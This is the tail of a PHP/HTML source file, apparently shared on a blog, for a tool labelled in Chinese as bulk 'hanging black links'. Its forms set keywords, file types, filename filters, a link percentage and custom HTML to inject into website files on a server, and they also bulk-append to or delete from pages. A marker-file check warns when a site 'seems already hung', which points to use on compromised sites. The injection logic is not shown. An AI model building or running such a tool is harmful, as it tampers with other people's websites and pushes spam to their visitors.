AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAA//9k=">
  <div id="tabbed_box_1" class="tabbed_box">
    <h4>Web Page <small>bulk modifier</small></h4>
    <div class="tabbed_area">
      <ul class="tabs">
        <li><a href="javascript:void(0)" title="批量挂黑链" tab="content_1" class="tab active">批量挂黑链</a></li>
        <li><a href="javascript:void(0)" title="批量追加" tab="content_2" class="tab">批量追加</a></li>
        <li><a href="javascript:void(0)" title="批量删除" tab="content_3"  class="tab">批量删除</a></li>
      </ul>
      <div id="content_1" class="content" style="display:block;">
str;
    if(is_file(".jae"))echo '<div style="color: red" >提示:检测到这个网站貌似已经挂过了!</div>';
    echo<<<str
	<table>
          <form  method="post">
                	<tr>
                    <td width="100px">
                <label for=website>关键字:</label>
                </td>
              	  <td>
              		  <input id=keyword class=textbox  name=keyword value="" placeholder="输入要插入的关键字" />
               	 </td>
                </tr>
                <tr>
               	 <td>
              		  <label for=website>后缀:</label>
              	  </td>
              	  <td>
               		 <input id=website class=textbox  name=suffix value="html,htm,asp" placeholder="多个后缀用逗号隔开" />
              	  </td>
                </tr>
                <tr>
                	<td>

              		 <label for=website>过滤文件名:</label>
              	  </td>
               	 	<td>
              		  <input id=filter class=textbox  name=filter value="Function" placeholder="多个文件名用逗号隔开" />
                	</td>
                </tr>
                <tr>
                	<td>
               		 <label for=salary>百分比:</label>
                	</td>
                    <td>
              		  <input id=salary class=textbox type=range name=per min=0 max=1 step=0.1 placeholder="外链百分比" value=0.5 style=" display:inline" /><span id="rangevalue"></span>
                	</td>
                </tr>
             <tr>
             	<td colspan="2">
                <label for=age>页面编码(<span style="color: red" >
str;
    if($encoding==false)echo "识别失败";
    else echo $encoding;
echo<<<str
</span>):</label>
                </td>
            </tr>
                <tr align="center">
                <td colspan="2">


	<input  type="radio" class="textbox"
str;
    if($encoding=="GB2312"||$encoding==false)echo " checked ";
echo<<<str
  name="encoding" value="GB2312" style="display:inline; width:10px;"  />

  GB2312   

	<input  type="radio" class="textbox"
str;
    if($encoding=="UTF-8")echo " checked ";
   echo<<<str
  name="encoding" value="UTF8" style="display:inline; width:10px;"  />

    UTF-8



  </td>
                </tr>
                <tr>
                	<td colspan="2">
                <label for=description>代码:</label>
                </td>
                </tr>
                <tr>
                	<td colspan="2">
                <textarea id="html" name=html cols=30 rows=8 placeholder="这里输入自定义HTML"></textarea>

                </td>
                </tr>
               <tr align="center"><td colspan="2">
             	  <input type="submit"  οnclick="return tj()"  id="submit" value="提交" />
               </td></tr>

       	  </form>
        </table>

      </div>
      <div id="content_2" class="content" style="display:none;">
      	  <table>
          <form  method="post">
                <tr>
                	<td width="100px">

              		 <label for=website>服务器路径:</label>
              	  </td>
               	 	<td>
              		  <input id="add_webPath" class=textbox  name="add_webPath" placeholder="如:D:\www" />
                	</td>
                </tr>
                <tr>
                	<td>

              		 <label for=website>文件名:</label>
              	  </td>
               	 	<td>
              		  <input id="add_fileName" class=textbox  name="add_fileName" placeholder="多个文件名用逗号隔开" />
                	</td>
                </tr>

             <tr>
           	   <td >
                <label for=age>页面编码:</label>
                </td>

                <td >
                <input  type="radio" class="textbox" checked  name="add_encoding" value="GB2312" style="display:inline; width:10px;"  />
                GB2312   
                <input  type="radio" class="textbox"   name="add_encoding" value="UTF8" style="display:inline; width:10px;"  />
                UTF-8
                </td>
            </tr>
                <tr>
                	<td colspan="2">
                <label for=description>代码:</label>
                </td>
                </tr>
                <tr>
                	<td colspan="2">
                <textarea id="add_html" name="add_html" cols=30 rows=8 placeholder="这里输入自定义HTML"></textarea>

                </td>
                </tr>
               <tr align="center"><td colspan="2">
             	  <input type="submit"  οnclick="return tj()"  id="add_submit" value="提交" />
               </td></tr>

       	    </form>
          </table>
      </div>
      <div id="content_3" class="content" style="display: none;">
      		  <table>
          <form  method="post">
                <tr>
                	<td width="100px">

              		 <label for=website>服务器路径:</label>
              	  </td>
               	 	<td>
              		  <input id="del_webPath" class=textbox  name="del_webPath"  placeholder="如:D:\www" />
                	</td>
                </tr>
                <tr>
                	<td>

              		 <label for=website>文件名:</label>
              	  </td>
               	 	<td>
              		  <input id="del_fileName" class=textbox  name="del_fileName"  placeholder="多个文件名用逗号隔开" />
                	</td>
                </tr>
  				<tr>
                	<td>

              		 <label for=website>DOM选择器:</label>
              	  </td>
               	 	<td>
              		  <input id="del_dom" class=textbox  name="del_dom"  placeholder="如:div#content" />
                	</td>
                </tr>

               <tr align="center">
                 <td colspan="2">
             	  <input type="submit"  οnclick="return tj()"  id="del_submit" value="提交" />
               </td></tr>

        	  </form>
          </table>
      </div>
    </div>
  </div>
</body>
</html>


str;
}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值